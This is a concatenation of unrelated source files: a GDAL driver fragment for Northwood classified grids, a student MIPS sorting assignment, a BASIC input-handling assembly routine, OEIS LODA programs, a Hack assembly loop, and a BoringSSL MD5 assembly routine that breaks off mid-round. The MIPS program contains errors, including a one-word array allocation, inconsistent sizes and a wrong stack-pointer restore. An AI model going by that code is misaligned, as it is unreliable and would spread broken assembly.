if( poGDS->pGrd->stClassDict->stClassifiedItem[i]->usPixVal > maxValue )
maxValue = poGDS->pGrd->stClassDict->stClassifiedItem[i]->usPixVal;
}
// load a value for the null value
poGDS->papszCategories = CSLAddString( poGDS->papszCategories, "No Data" );
// for the class names we need to load nulls string for all classes that
// are not defined
for( int val = 1; val <= maxValue; val++ )
{
int i = 0;
// Loop through the GRC dictionary to see if the value is defined.
for( ;
i < static_cast<int>( poGDS->pGrd->stClassDict->nNumClassifiedItems );
i++ )
{
if( static_cast<int>( poGDS->pGrd->stClassDict->stClassifiedItem[i]->usPixVal ) ==
val )
{
poGDS->papszCategories =
CSLAddString( poGDS->papszCategories,
poGDS->pGrd->stClassDict->
stClassifiedItem[i]->szClassName );
break;
}
}
if( i >= static_cast<int>( poGDS->pGrd->stClassDict->nNumClassifiedItems ) )
poGDS->papszCategories = CSLAddString( poGDS->papszCategories, "" );
}
}
NWT_GRCRasterBand::~NWT_GRCRasterBand() {}
double NWT_GRCRasterBand::GetNoDataValue( int *pbSuccess )
{
if( pbSuccess != nullptr )
*pbSuccess = TRUE;
return 0.0; // Northwood grid 0 is always null.
}
// return an array of null terminated strings for the class names
char **NWT_GRCRasterBand::GetCategoryNames()
{
NWT_GRCDataset *poGDS = cpl::down_cast<NWT_GRCDataset *>( poDS );
return poGDS->papszCategories;
}
// return the color table
GDALColorTable *NWT_GRCRasterBand::GetColorTable()
{
NWT_GRCDataset *poGDS = cpl::down_cast<NWT_GRCDataset *>( poDS );
return poGDS->poColorTable;
}
GDALColorInterp NWT_GRCRasterBand::GetColorInterpretation()
{
if( nBand == 1 )
return GCI_PaletteIndex;
return GCI_Undefined;
}
/************************************************************************/
/* IReadBlock() */
/************************************************************************/
CPLErr NWT_GRCRasterBand::IReadBlock( CPL_UNUSED int nBlockXOff,
int nBlockYOff,
void *pImage )
{
NWT_GRCDataset *poGDS = cpl::down_cast<NWT_GRCDataset *>( poDS );
const int nBytesPerPixel = poGDS->pGrd->nBitsPerPixel / 8;
if( nBytesPerPixel <= 0 || nBlockXSize > INT_MAX / nBytesPerPixel )
return CE_Failure;
const int nRecordSize = nBlockXSize * nBytesPerPixel;
if( nBand == 1 )
{ //grc's are just one band of indices
VSIFSeekL( poGDS->fp, 1024 + nRecordSize * static_cast<vsi_l_offset>(nBlockYOff), SEEK_SET );
if( static_cast<int>(VSIFReadL( pImage, 1, nRecordSize, poGDS->fp )) != nRecordSize )
return CE_Failure;
}
else
{
CPLError( CE_Failure, CPLE_IllegalArg,
"No band number %d",
nBand );
return CE_Failure;
}
return CE_None;
}
/************************************************************************/
/* ==================================================================== */
/* NWT_GRCDataset */
/* ==================================================================== */
/************************************************************************/
NWT_GRCDataset::NWT_GRCDataset() :
fp(nullptr),
pGrd(nullptr),
papszCategories(nullptr),
pszProjection(nullptr),
poColorTable(nullptr)
{
memset(abyHeader, 0, sizeof(abyHeader) );
}
/************************************************************************/
/* ~NWT_GRCDataset() */
/************************************************************************/
NWT_GRCDataset::~NWT_GRCDataset()
{
delete poColorTable;
CSLDestroy( papszCategories );
NWT_GRCDataset::FlushCache(true);
pGrd->fp = nullptr; // this prevents nwtCloseGrid from closing the fp
nwtCloseGrid( pGrd );
if( fp != nullptr )
VSIFCloseL( fp );
CPLFree( pszProjection );
}
/************************************************************************/
/* GetGeoTransform() */
/************************************************************************/
CPLErr NWT_GRCDataset::GetGeoTransform( double *padfTransform )
{
padfTransform[0] = pGrd->dfMinX - ( pGrd->dfStepSize * 0.5 );
padfTransform[3] = pGrd->dfMaxY + ( pGrd->dfStepSize * 0.5 );
padfTransform[1] = pGrd->dfStepSize;
padfTransform[2] = 0.0;
padfTransform[4] = 0.0;
padfTransform[5] = -1 * pGrd->dfStepSize;
return CE_None;
}
/************************************************************************/
/* GetProjectionRef() */
/************************************************************************/
const char *NWT_GRCDataset::_GetProjectionRef()
{
if (pszProjection == nullptr)
{
OGRSpatialReference *poSpatialRef
= MITABCoordSys2SpatialRef( pGrd->cMICoordSys );
if (poSpatialRef)
{
poSpatialRef->exportToWkt( &pszProjection );
poSpatialRef->Release();
}
}
return pszProjection;
}
/************************************************************************/
/* Identify() */
/************************************************************************/
int NWT_GRCDataset::Identify( GDALOpenInfo * poOpenInfo )
{
/* -------------------------------------------------------------------- */
/* Look for the header */
/* -------------------------------------------------------------------- */
if( poOpenInfo->nHeaderBytes < 1024 )
return FALSE;
if( poOpenInfo->pabyHeader[0] != 'H' ||
poOpenInfo->pabyHeader[1] != 'G' ||
poOpenInfo->pabyHeader[2] != 'P' ||
poOpenInfo->pabyHeader[3] != 'C' ||
poOpenInfo->pabyHeader[4] != '8' )
return FALSE;
return TRUE;
}
/************************************************************************/
/* Open() */
/************************************************************************/
GDALDataset *NWT_GRCDataset::Open( GDALOpenInfo * poOpenInfo )
{
if( !Identify(poOpenInfo) || poOpenInfo->fpL == nullptr )
return nullptr;
/* -------------------------------------------------------------------- */
/* Create a corresponding GDALDataset. */
/* -------------------------------------------------------------------- */
NWT_GRCDataset *poDS = new NWT_GRCDataset();
poDS->fp = poOpenInfo->fpL;
poOpenInfo->fpL = nullptr;
/* -------------------------------------------------------------------- */
/* Read the header. */
/* -------------------------------------------------------------------- */
VSIFSeekL( poDS->fp, 0, SEEK_SET );
VSIFReadL( poDS->abyHeader, 1, 1024, poDS->fp );
poDS->pGrd = static_cast<NWT_GRID *>( malloc( sizeof (NWT_GRID) ) );
poDS->pGrd->fp = poDS->fp;
if (!nwt_ParseHeader( poDS->pGrd, poDS->abyHeader ) ||
!GDALCheckDatasetDimensions(poDS->pGrd->nXSide, poDS->pGrd->nYSide) ||
poDS->pGrd->stClassDict == nullptr)
{
delete poDS;
return nullptr;
}
if( poDS->pGrd->nBitsPerPixel != 8 &&
poDS->pGrd->nBitsPerPixel != 16 &&
poDS->pGrd->nBitsPerPixel != 32 )
{
delete poDS;
return nullptr;
}
poDS->nRasterXSize = poDS->pGrd->nXSide;
poDS->nRasterYSize = poDS->pGrd->nYSide;
/* -------------------------------------------------------------------- */
/* Create band information objects. */
/* -------------------------------------------------------------------- */
poDS->SetBand( 1, new NWT_GRCRasterBand( poDS, 1) ); //Class Indexes
/* -------------------------------------------------------------------- */
/* Initialize any PAM information. */
/* -------------------------------------------------------------------- */
poDS->SetDescription( poOpenInfo->pszFilename );
poDS->TryLoadXML();
/* -------------------------------------------------------------------- */
/* Check for external overviews. */
/* -------------------------------------------------------------------- */
poDS->oOvManager.Initialize( poDS,
poOpenInfo->pszFilename,
poOpenInfo->GetSiblingFiles() );
return poDS;
}
/************************************************************************/
/* GDALRegister_GRC() */
/************************************************************************/
void GDALRegister_NWT_GRC()
{
if( GDALGetDriverByName( "NWT_GRC" ) != nullptr )
return;
GDALDriver *poDriver = new GDALDriver();
poDriver->SetDescription( "NWT_GRC" );
poDriver->SetMetadataItem( GDAL_DCAP_RASTER, "YES" );
poDriver->SetMetadataItem( GDAL_DMD_LONGNAME,
"Northwood Classified Grid Format .grc/.tab");
poDriver->SetMetadataItem( GDAL_DMD_HELPTOPIC,
"drivers/raster/nwtgrd.html#driver-capabilities-nwt-grc" );
poDriver->SetMetadataItem( GDAL_DMD_EXTENSION, "grc" );
poDriver->SetMetadataItem( GDAL_DCAP_VIRTUALIO, "YES" );
poDriver->pfnOpen = NWT_GRCDataset::Open;
poDriver->pfnIdentify = NWT_GRCDataset::Identify;
GetGDALDriverManager()->RegisterDriver( poDriver );
}
|
# Sweeney, Brendan
# CSS 422
# Assignment 03-02 / Implementation
# 4/20/2012
############################################
# The data segment -- declare variables here
############################################
.data
# Create some null terminated strings to use
strPromptFirst: .asciiz "Please enter 10 numbers on separate lines:\n"
strResultAscend: .asciiz "Ascending order:\n"
strResultDescend: .asciiz "Descending order:\n"
strDone: .asciiz "DONE\n"
strCR: .asciiz "\n"
# Set aside space for an array to contain 10 items
array1: .word 10
##########################################
# The text segment -- instructions go here
##########################################
.text
.globl main
main:
# STEP 1 -- get the integer list
# Print a prompt asking user for input
addi $v0, $zero, 4 # syscall 4 prints string addressed in $a0
la $a0, strPromptFirst # load address of the string
syscall # actually print the string
# Setup the array
la $s0, array1 # get address of array ready
add $a0, $s0, $zero # prepare to pass array
addi $a1, $zero, 36 # prepare to pass array size
jal fill # call procedure to fill array
# Print an extra carriage return
addi $v0, $zero, 4 # syscall for print string
la $a0, strCR # address of string with a carriage return
syscall # actually print the string
# STEP 2 -- sort the array of integers
# Sort the contents of the array
add $a0, $s0, $zero # prepare to pass array
addi $a1, $zero, 10 # prepare to pass array size
jal sort # call precedure to sort array
# SETP 3 -- print the sorted array
# Print in ascending order
add $a0, $s0, $zero # prepare to pass array
addi $a1, $zero, 36 # prepare to pass array size
jal ascPrint # call procedure to print array
# Print in descending order
add $a0, $s0, $zero # prepare to pass array
addi $a1, $zero, 36 # prepare to pass array size
jal descPrint # call procedure to print array
j progDone # go to program end
# Procedure to read and store the integer list
fill:
# No stack manipulation necessary in this procedure
add $t0, $zero, $zero # initialize index to 0
fillBody:
addi $v0, $zero, 5 # syscall number 5 will read an int
syscall # actually read the int
add $t1, $t0, $a0 # set $t1 to current array element
sw $v0, 0($t1) # store int in array
beq $t0, $a1, fillExit # exit loop
addi $t0, $t0, 4 # increment index
j fillBody # iterate through loop again
fillExit:
jr $ra
# Procedure to sort an array of integers
sort:
# Adjust the stack and save needed registers
addi $sp, $sp, -20 # make room on stack for 5 registers
sw $ra, 16($sp) # save $ra on stack
sw $s3, 12($sp) # save $s3 on stack
sw $s2, 8($sp) # save $s2 on stack
sw $s1, 4($sp) # save $s1 on stack
sw $s0, 0($sp) # save $s0 on stack
# Save $a registers to use for other calls
add $s2, $a0, $zero # save the array start
add $s3, $a1, $zero # save the array size
add $s0, $zero, $zero # initialize index to 0
for1tst:
slt $t0, $s0, $s3 # is index still within array?
beq $t0, $zero, exit1 # if not, exit
addi $s1, $s0, -1 # otherwise, set index for inner loop
for2tst:
slt $t0, $s1, $zero # is inner index within array?
bne $t0, $zero, exit2 # if not, exit
sll $t1, $s1, 2 # otherwise, multiply by 4 to get offset
add $t2, $s2, $t1 # set $t2 to current array element
lw $t3, 0($t2) # get value at current element
lw $t4, 4($t2) # get value at next element
slt $t0, $t4, $t3 # is lower value less than next value?
beq $t0, $zero, exit2 # if so, they are in order, exit
add $a0, $s2, $zero # otherwise, prepare to pass size
add $a1, $s1, $zero # prepare to pass array start
jal swap # swap the two values
addi $s1, $s1, -1 # decrement inner index
j for2tst # iterate through loop again
exit2:
addi $s0, $s0, 1 # increment outer index
j for1tst # iterate through loop again
exit1:
# Restore registers and adjust the stack
lw $s0, 0($sp) # restore $s0 from stack
lw $s1, 4($sp) # restore $s1 from stack
lw $s2, 8($sp) # restore $s2 from stack
lw $s3, 12($sp) # restore $s3 from stack
lw $ra, 16($sp) # restore $ra from stack
addi $sp, $sp, -20 # make room on stack for 5 registers
jr $ra # return to calling routine
# Procedure to swap two values in an array
swap:
# No stack manipulation necessary in this procedure
sll $t0, $a1, 2 # multiply offset by 4
add $t0, $t0, $a0 # set $t0 to current array element
lw $t1, 0($t0) # get value at current element
lw $t2, 4($t0) # get value at next element
sw $t2, 0($t0) # store old next value in current
sw $t1, 4($t0) # sotre old current value in next
jr $ra # return to calling routine
# Procedure to print sorted array in ascending order
ascPrint:
# No stack manipulation necessary in this procedure
add $t0, $a0, $zero # copy array start into $t0
addi $v0, $zero, 4 # syscall 4 prints string addressed at $a0
la $a0, strResultAscend # load address of the string
syscall # actually print the string
add $t1, $zero, $zero # initialize index to 0
ascLoop:
add $t2, $t0, $t1 # set $t2 to current element
addi $v0, $zero, 1 # syscall 1 prints an int
lw $a0, 0($t2) # prepare to print current element
syscall # actually print the int
addi $v0, $zero, 4 # syscall 4 prints string addressed at $a0
la $a0, strCR # prepare to print a newline
syscall # actually print the newline
beq $t1, $a1, ascExit # loop exit test
addi $t1, $t1, 4 # increment index
j ascLoop # iterate through loop again
ascExit:
# Print an extra carriage return and exit
addi $v0, $zero, 4 # syscall for print string
la $a0, strCR # address of string with a carriage return
syscall # actually print the string
jr $ra # return to calling routine
# Procedure to print sorted array in descending order
descPrint:
# No stack manipulation necessary in this procedure
add $t0, $a0, $zero # copy array start into $t0
addi $v0, $zero, 4 # syscall 4 prints string addressed at $a0
la $a0, strResultDescend # load address of the string
syscall # actually print the string
add $t1, $a1, $zero # initialize index to last element
descLoop:
add $t2, $t0, $t1 # set $t2 to current element
addi $v0, $zero, 1 # syscall 1 prints an int
lw $a0, 0($t2) # prepare to print current element
syscall # actually print the int
addi $v0, $zero, 4 # syscall 4 prints string addressed at $a0
la $a0, strCR # prepare to print a newline
syscall # actually print the newline
beq $t1, $zero, descExit # loop exit test
addi $t1, $t1, -4 # increment index
j descLoop # iterate through loop again
descExit:
# Print an extra carriage return and exit
addi $v0, $zero, 4 # syscall for print string
la $a0, strCR # address of string with a carriage return
syscall # actually print the string
jr $ra # return to calling routine
# STEP 4 -- finish and exit program
progDone:
# Print a message and exit
addi $v0, $zero, 4 # syscall for print string
la $a0, strDone # address of DONE string
syscall # actually print the string
addi $v0, $zero, 10 # Syscall number 10 terminates the program
syscall # exit now
|
; ********************************************************************************************
; ********************************************************************************************
;
; Name : input.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : Fred Bowen
;
; ********************************************************************************************
; ********************************************************************************************
get jsr errdir ; direct mode illegal
sta z_p_temp_1 ; flag to distinguish between GET and GETKEY
cmp #'#' ; is it GET# ?
beq getn ; yes
cmp #key_token ; is it GETKEY ?
bne gettty ; no, must be plain GET
jsr chrget ; yes, skip over KEY token
bra gettty
getn jsr chrget ; GET# move up to next byte
jsr getbyt ; get channel into x
lda #',' ; comma?
jsr synchr
stx channl
jsr coin ; chkin
gettty ; GET
ldx #<buf+1 ; point to 0
ldy #>buf
lda #0 ; to stuff and to point
sta buf+1 ; zero it
lda #$40 ; turn on v-bit
jsr inpco1 ; do the get
ldx channl
bne release_channels ; restore terminal channels
rts
linputn ; input line from channel into a string var
jsr chrget ; (eat input# token)
smb7 op
!text $2c
inputn rmb7 op ; flag INPUT# vs. LINPUT#
jsr getbyt ; get channel number
lda #',' ; a comma?
jsr synchr
stx channl
jsr coin ; chkin
jsr notqti ; do input to variables
release_channels ; iodone, iorele.
jsr _clrch ; clear I/O channels
; ldx #0 ;restore normal terminal channels
sta channl ; (was stx) [910909]
rts
linput ; input line from console into a string var
jsr chrget ; (eat input token)
smb7 op
!text $2c
input rmb7 op ; flag INPUT vs. LINPUT
cmp #'"' ; a quote?
bne notqti ; no message
jsr strtxt ; literalize the string in text
jsr chrgot ; looking for prompt string terminator [910219]
cmp #','
bne l55_1
sta buf_txtptr ; is comma- supress '?' after prompt [910219]
jsr chrget ; eat comma
jsr strprt ; print prompt
jsr errdir ; error if direct mode
jsr InputLine ; get first item
bra getagn1 ; see if there's more to do
l55_1 lda #';' ; must end in semicolon
jsr synchr
jsr strprt ; print prompt
notqti jsr errdir ; use common routine since def direct
lda #',' ; get comma
sta buf_txtptr ; (data reader expects buffer to start with terminator)
getagn jsr PromptedInput ; type "?" and input a line of text
getagn1 lda channl
beq l56_1
jsr _readst ; get status byte
; and #2 ; (assumes serial bus????) [910618] eoi ok
and #%10000111 ; serial: err if dnp, r/w timeout errors
beq l56_1 ; a-ok rs232: err if brk, ovr, frm, par errors
jsr release_channels ; bad, close channel
+lbra data ; skip rest of input
l56_1 lda buf ; bufful. get anything?
bne inpcon ; yes- process input
; lda channl ;didn't get anything. is this keyboard? [901212]
; bne getagn ; no- keep looking for data ????
jsr datan ; skip to end of statement
+lbra addon
read rmb7 op ; flag READ vs. LREAD [910102]
ldx datptr ; get last data location
ldy datptr+1
lda #$98 ; initiator= read
!text $2c
inpcon lda #0 ; initiator= input
inpco1 sta input_flag ; $98=read, $40=get, $00=input
; In the processing of DATA and READ statements, one pointer points to the data
; (i.e., the numbers being fetched) and another points to the list of variables.
;
; The pointer into the data always starts pointing to a terminator- a ",", ":", or EOL.
; At this point TXTPTR points to list of variables and (x,y) points to data or input line.
stx inpptr ; pointer to data
sty inpptr+1
inloop jsr ptrget ; get a pointer to the variable
sta forpnt ; store its address
sty forpnt+1
ldx #1
l57_1 lda txtptr,x ; move variable list pointer to 'vartxt'
sta vartxt,x
lda inpptr,x ; move data line pointer to 'txtptr'
sta txtptr,x
dex
bpl l57_1
jsr chrgot ; get first data byte
bne datbk1 ; not null, so we got something
bit input_flag ; READ($98), GET($40), or INPUT($00)?
bvc qdata ; branch if READ or INPUT
lda z_p_temp_1 ; GET or GETKEY?
cmp #key_token
bne l57_3 ; branch if GET
l57_2 jsr cgetl ; GETKEY
tax ; test if null
beq l57_2 ; it is null, keep scanning
bne l57_4 ; got a key, go put it in var
l57_3 jsr cgetl ; get a key if pressed, otherwise gets a zero
l57_4 sta buf
ldx #<buf_txtptr
ldy #>buf_txtptr
bra datbk
qdata +lbmi datlop ; branch if READ
lda channl ; else it's INPUT
bne l58_1
jsr outqst ; console input, so display '? ' prompt
l58_1 jsr PromptedInput ; get another line
datbk stx txtptr ; set for CHRGET
sty txtptr+1
datbk1 bbr7 op,l59_1 ; no chrgot if LINPUT (want leading spaces) [910513]
jsr chargt
jsr chrtst
bra l59_2
l59_1 jsr chrget ; get next data byte
l59_2 bbr7 valtyp,l59_8 ; get value type, input a number if numeric
bbr6 input_flag,l59_4 ; branch if not get, set quote
inx
stx txtptr
l59_3 lda #0 ; [901212]
sta charac
bra l59_5
l59_4 bbs7 op,l59_3 ; no terminators if LINPUT or LREAD [901212]
sta charac ; setqut. assume quoted string
cmp #'"' ; terminators ok?
beq l59_6 ; yes (sets .c)
lda #':' ; set terminators to ":" and...
sta charac
lda #',' ; ...comma
l59_5 clc ; resetc
l59_6 sta endchr ; nowget
lda txtptr
ldy txtptr+1
adc #0 ; .c is set properly above
bcc l59_7
iny
l59_7 jsr strlt2 ; make a string descriptor for the value & copy if needed
jsr st2txt ; copy strng2 to txtptr (st-2-txt... get it?)
jsr inpcom ; do assignment
bra l59_9
l59_8 bbs7 op,l59_10 ; error if LINPUT (string input only) [901212]
ldx #0 ; numins. flag 'text bank' (0)
jsr fin
lda intflg ; set codes on flags
jsr qintgr ; go decide on float
l59_9 jsr chrgot ; strdn2. read last character
beq trmok ; ":" or EOL is ok
cmp #',' ; a comma?
beq trmok
lda input_flag ; is this get, read, or input?
beq l59_11 ; input
bmi l59_10 ; read
ldx channl ; get. if not kbd, go use 'bad file data error'
bne l59_12
l59_10 ldx #errtm ; tmerr. 'get from kbd' or 'read' saw a bad type
bra l59_13 ; always
l59_11 lda channl
beq l59_14 ; do again if keybd input
l59_12 ldx #errbd ; input saw bad file data
l59_13 +lbra error
l59_14 jsr highlight_text ; [911119]
jsr _primm
!text "?REDO FROM START",cr,0
jsr highlight_done ; [911119]
ott lda oldtxt
ldy oldtxt+1
sta txtptr ; put user back to beginning of input
sty txtptr+1
rts
trmok ldx #1
l60_1 lda txtptr,x
sta inpptr,x ; save for more reads
lda vartxt,x
sta txtptr,x ; point to variable list
dex
bpl l60_1
jsr chrgot ; look at last vartab character
beq l60_2 ; that's the end of the list
jsr chkcom ; not end. check for comma
+lbra inloop
l60_2 lda inpptr ; put away a new data pntr name
ldy inpptr+1
bbr7 input_flag,l60_3
sta datptr
sty datptr+1
rts
l60_3 ldy #0 ; last data chr could have been ',' or ':' but should be null
lda #inpptr
jsr lda_far_ram0
beq l60_4 ; it is null
lda channl ; if not terminal, no type
bne l60_4
jsr highlight_text ; [911119]
jsr _primm
!text "?EXTRA IGNORED", cr,0
jsr highlight_done ; [911119]
l60_4 rts ; do next statement
; DATLOP Routine Subroutine to find data.
;
; The search is made by using the execution code for data to skip over
; statements, the start word of each statement is compared with "data_token".
; Each new line number is stored in "datlin" so that if any error occurs while
; reading data the error message can give the line number of the bad data.
datlop jsr datan ; skip some text
iny
tax ; end of line?
bne l61_1 ; no
ldx #errod ; yes, "no data" error
iny
jsr indtxt
+lbeq error
iny
jsr indtxt ; get high byte of line number
sta datlin
iny
jsr indtxt ; get low byte
iny
sta datlin+1
l61_1 jsr addon ; nowlin. txtptr+.y
jsr chrgot ; span blanks
tax ; used later
cpx #data_token ; is it a DATA statement?
bne datlop ; not quite right, keep looking
+lbra datbk1 ; this is the one
;.end
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
|
; A104436: Number of ways to split 1, 2, 3, ..., 3n into 3 arithmetic progressions each with n terms.
; 1,15,5,4,4,4,4,4,4,4,4,4,4,4,4
mov $1,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$0
mul $2,$3
add $1,$2
mov $4,$0
cmp $4,0
mov $5,$0
add $5,$4
div $1,$5
mul $1,$0
div $2,4
sub $3,1
max $3,1
mov $4,$2
cmp $4,0
add $2,$4
div $1,$2
lpe
mov $0,$1
|
@sum
M=0
@R0
D=M
@i
M=D
(CICLO)
@i
MD=M-1
@FIN
D;JLT
@R1
D=M
@sum
M=D+M
@CICLO
0;JMP
(FIN)
@sum
D=M
@R2
M=D
(END)
@END
0;JMP
|
; A005718: Quadrinomial coefficients: C(2+n,n) + C(3+n,n) + C(4+n,n).
; 3,12,31,65,120,203,322,486,705,990,1353,1807,2366,3045,3860,4828,5967,7296,8835,10605,12628,14927,17526,20450,23725,27378,31437,35931,40890,46345,52328,58872,66011,73780,82215,91353,101232,111891,123370,135710,148953,163142,178321,194535,211830,230253,249852,270676,292775,316200,341003,367237,394956,424215,455070,487578,521797,557786,595605,635315,676978,720657,766416,814320,864435,916828,971567,1028721,1088360,1150555,1215378,1282902,1353201,1426350,1502425,1581503,1663662,1748981,1837540,1929420,2024703,2123472,2225811,2331805,2441540,2555103,2672582,2794066,2919645,3049410,3183453,3321867,3464746,3612185,3764280,3921128,4082827,4249476,4421175,4598025
mov $1,$0
add $0,5
bin $0,4
sub $0,$1
sub $0,2
|
; This file is generated from a similarly-named Perl script in the BoringSSL
; source tree. Do not edit by hand.
%ifdef BORINGSSL_PREFIX
%include "boringssl_prefix_symbols_nasm.inc"
%endif
%ifidn __OUTPUT_FORMAT__,obj
section code use32 class=code align=64
%elifidn __OUTPUT_FORMAT__,win32
%ifdef __YASM_VERSION_ID__
%if __YASM_VERSION_ID__ < 01010000h
%error yasm version 1.1.0 or later needed.
%endif
; Yasm automatically includes .00 and complains about redefining it.
; https://www.tortall.net/projects/yasm/manual/html/objfmt-win32-safeseh.html
%else
$@feat.00 equ 1
%endif
section .text code align=64
%else
section .text code
%endif
global _md5_block_asm_data_order
align 16
_md5_block_asm_data_order:
L$_md5_block_asm_data_order_begin:
push esi
push edi
mov edi,DWORD [12+esp]
mov esi,DWORD [16+esp]
mov ecx,DWORD [20+esp]
push ebp
shl ecx,6
push ebx
add ecx,esi
sub ecx,64
mov eax,DWORD [edi]
push ecx
mov ebx,DWORD [4+edi]
mov ecx,DWORD [8+edi]
mov edx,DWORD [12+edi]
L$000start:
;
; R0 section
mov edi,ecx
mov ebp,DWORD [esi]
; R0 0
xor edi,edx
and edi,ebx
lea eax,[3614090360+ebp*1+eax]
xor edi,edx
add eax,edi
mov edi,ebx
rol eax,7
mov ebp,DWORD [4+esi]
add eax,ebx
; R0 1
xor edi,ecx
and edi,eax
lea edx,[3905402710+ebp*1+edx]
xor edi,ecx
add edx,edi
mov edi,eax
rol edx,12
mov ebp,DWORD [8+esi]
add edx,eax
; R0 2
xor edi,ebx
and edi,edx
lea ecx,[606105819+ebp*1+ecx]
xor edi,ebx
add ecx,edi
mov edi,edx
rol ecx,17
mov ebp,DWORD [12+esi]
add ecx,edx
; R0 3
xor edi,eax
and edi,ecx
lea ebx,[3250441966+ebp*1+ebx]
xor edi,eax
add ebx,edi
mov edi,ecx
rol ebx,22
mov ebp,DWORD [16+esi]
add ebx,ecx
; R0 4
xor edi,edx
and edi,ebx
lea eax,[4118548399+ebp*1+eax]
xor edi,edx
add eax,edi
mov edi,ebx
rol eax,7
mov ebp,DWORD [20+esi]
add eax,ebx
; R0 5
xor edi,ecx
and edi,eax
lea edx,[1200080426+ebp*1+edx]
xor edi,ecx
add edx,edi
mov edi,eax
rol edx,12
mov ebp,DWORD [24+esi]
add edx,eax
; R0 6
xor edi,ebx
and edi,edx
lea ecx,[2821735955+ebp*1+ecx]
xor edi,ebx
add ecx,edi
mov edi,edx
rol ecx,17
mov ebp,DWORD [28+esi]
add ecx,edx
; R0 7
xor edi,eax
and edi,ecx
lea ebx,[4249261313+ebp*1+ebx]
xor edi,eax
add ebx,edi
mov edi,ecx
rol ebx,22
mov ebp,DWORD [32+esi]
add ebx,ecx
; R0 8
xor edi,edx
and edi,ebx
lea eax,[1770035416+ebp*1+eax]
xor edi,edx
add eax,edi
mov edi,ebx
rol eax,7
mov ebp,DWORD [36+esi]
add eax,ebx
; R0 9
xor edi,ecx
and edi,eax
lea edx,[2336552879+ebp*1+edx]
xor edi,ecx
add edx,edi
mov edi,eax
rol edx,12
mov ebp,DWORD [40+esi]
add edx,eax
; R0 10
xor edi,ebx
and edi,edx
lea ecx,[4294925233+ebp*1+ecx]
xor edi,ebx
add ecx,edi
mov edi,edx
rol ecx,17
mov ebp,DWORD [44+esi]
add ecx,edx
; R0 11
xor edi,eax
and edi,ecx
lea ebx,[2304563134+ebp*1+ebx]
xor edi,eax
add ebx,edi
mov edi,ecx
rol ebx,22
mov ebp,DWORD [48+esi]
add ebx,ecx
; R0 12
xor edi,edx
and edi,ebx
lea eax,[1804603682+ebp*1+eax]
xor edi,edx
add eax,edi
mov edi,ebx
rol eax,7
mov ebp,DWORD [52+esi]
add eax,ebx
; R0 13
xor edi,ecx
and edi,eax
lea edx,[4254626195+ebp*1+edx]
xor edi,ecx
add edx,edi
mov edi,eax
rol edx,12
mov ebp,DWORD [56+esi]
add edx,eax
; R0 14
xor edi,ebx
and edi,edx
lea ecx,[2792965006+ebp*1+ecx]
xor edi,ebx
add ecx,edi
mov edi,edx
rol ecx,17
mov ebp,DWORD [60+esi]
add ecx,edx
; R0 15
xor edi,eax
and edi,ecx
lea ebx,[1236535329+ebp*1+ebx]
xor edi,eax
add ebx,edi
mov edi,ecx
rol ebx,22
mov ebp,DWORD [4+esi]
add ebx,ecx
;
; R1 section
; R1 16
lea eax,[4129170786+ebp*1+eax]
xor edi,ebx
and edi,edx
mov ebp,DWORD [24+esi]
xor edi,ecx
add eax,edi
mov edi,ebx
rol eax,5
add eax,ebx
; R1 17
lea edx,[3225465664+ebp*1+edx]
xor edi,eax
and edi,ecx
mov ebp,DWORD [44+esi]
xor edi,ebx
add edx,edi
mov edi,eax
rol edx,9
add edx,eax
; R1 18
lea ecx,[643717713+ebp*1+ecx]
xor edi,edx
and edi,ebx
mov ebp,DWORD [esi]
xor edi,eax
add ecx,edi
mov edi,edx
rol ecx,14
add ecx,edx
; R1 19
lea ebx,[3921069994+ebp*1+ebx]
xor edi,ecx
and edi,eax
mov ebp,DWORD [20+esi]
xor edi,edx
add ebx,edi
mov edi,ecx
rol ebx,20
add ebx,ecx
; R1 20
lea eax,[3593408605+ebp*1+eax]
xor edi,ebx
and edi,edx
mov ebp,DWORD [40+esi]
xor edi,ecx
add eax,edi
mov edi,ebx
rol eax,5
add eax,ebx
; R1 21
lea edx,[38016083+ebp*1+edx]
xor edi,eax
and edi,ecx
mov ebp,DWORD [60+esi]
xor edi,ebx
add edx,edi
mov edi,eax
rol edx,9
add edx,eax
; R1 22
lea ecx,[3634488961+ebp*1+ecx]
xor edi,edx
and edi,ebx
mov ebp,DWORD [16+esi]
xor edi,eax
add ecx,edi
mov edi,edx
rol ecx,14
add ecx,edx
; R1 23
lea ebx,[3889429448+ebp*1+ebx]
xor edi,ecx
and edi,eax
mov ebp,DWORD [36+esi]
xor edi,edx
add ebx,edi
mov edi,ecx
rol ebx,20
add ebx,ecx
; R1 24
lea eax,[568446438+ebp*1+eax]
xor edi,ebx
and edi,edx
mov ebp,DWORD [56+esi]
xor edi,ecx
add eax,edi
mov edi,ebx
rol eax,5
add eax,ebx
; R1 25
lea edx,[3275163606+ebp*1+edx]
xor edi,eax
and edi,ecx
mov ebp,DWORD [12+esi]
xor edi,ebx
add edx,edi
mov edi,eax
rol edx,9
add edx,eax
; R1 26
lea ecx,[4107603335+ebp*1+ecx]
xor edi,edx
and edi,ebx
mov ebp,DWORD [32+esi]
xor edi,eax
add ecx,edi
mov edi,edx
rol ecx,14
add ecx,edx
; R1 27
lea ebx,[1163531501+ebp*1+ebx]
xor edi,ecx
and edi,eax
mov ebp,DWORD [52+esi]
xor edi,edx
add ebx,edi
mov edi,ecx
rol ebx,20
add ebx,ecx
; R1 28
lea eax,[2850285829+ebp*1+eax]
xor edi,ebx
and edi,edx
mov ebp,DWORD [8+esi]
xor edi,ecx
add eax,edi
mov edi,ebx
rol eax,5
add eax,ebx
; R1 29
lea edx,[4243563512+ebp*1+edx]
xor edi,eax
and edi,ecx
mov ebp,DWORD [28+esi]
xor edi,ebx
add edx,edi
mov edi,eax
rol edx,9
add edx,eax
; R1 30
lea ecx,[1735328473+ebp*1+ecx]
xor edi,edx
and edi,ebx
mov ebp,DWORD [48+esi]
xor edi,eax
add ecx,edi
mov edi,edx
rol ecx,14
add ecx,edx
; R1 31
lea ebx,[2368359562+ebp*1+ebx]
xor edi,ecx
and edi,eax
mov ebp,DWORD [20+esi]
xor edi,edx
add ebx,edi
mov edi,ecx
rol ebx,20
add ebx,ecx
;
; R2 section
; R2 32
xor edi,edx
xor edi,ebx
lea eax,[4294588738+ebp*1+eax]
add eax,edi
rol eax,4
mov ebp,DWORD [32+esi]
mov edi,ebx
; R2 33
lea edx,[2272392833+ebp*1+edx]
add eax,ebx
xor edi,ecx
xor edi,eax
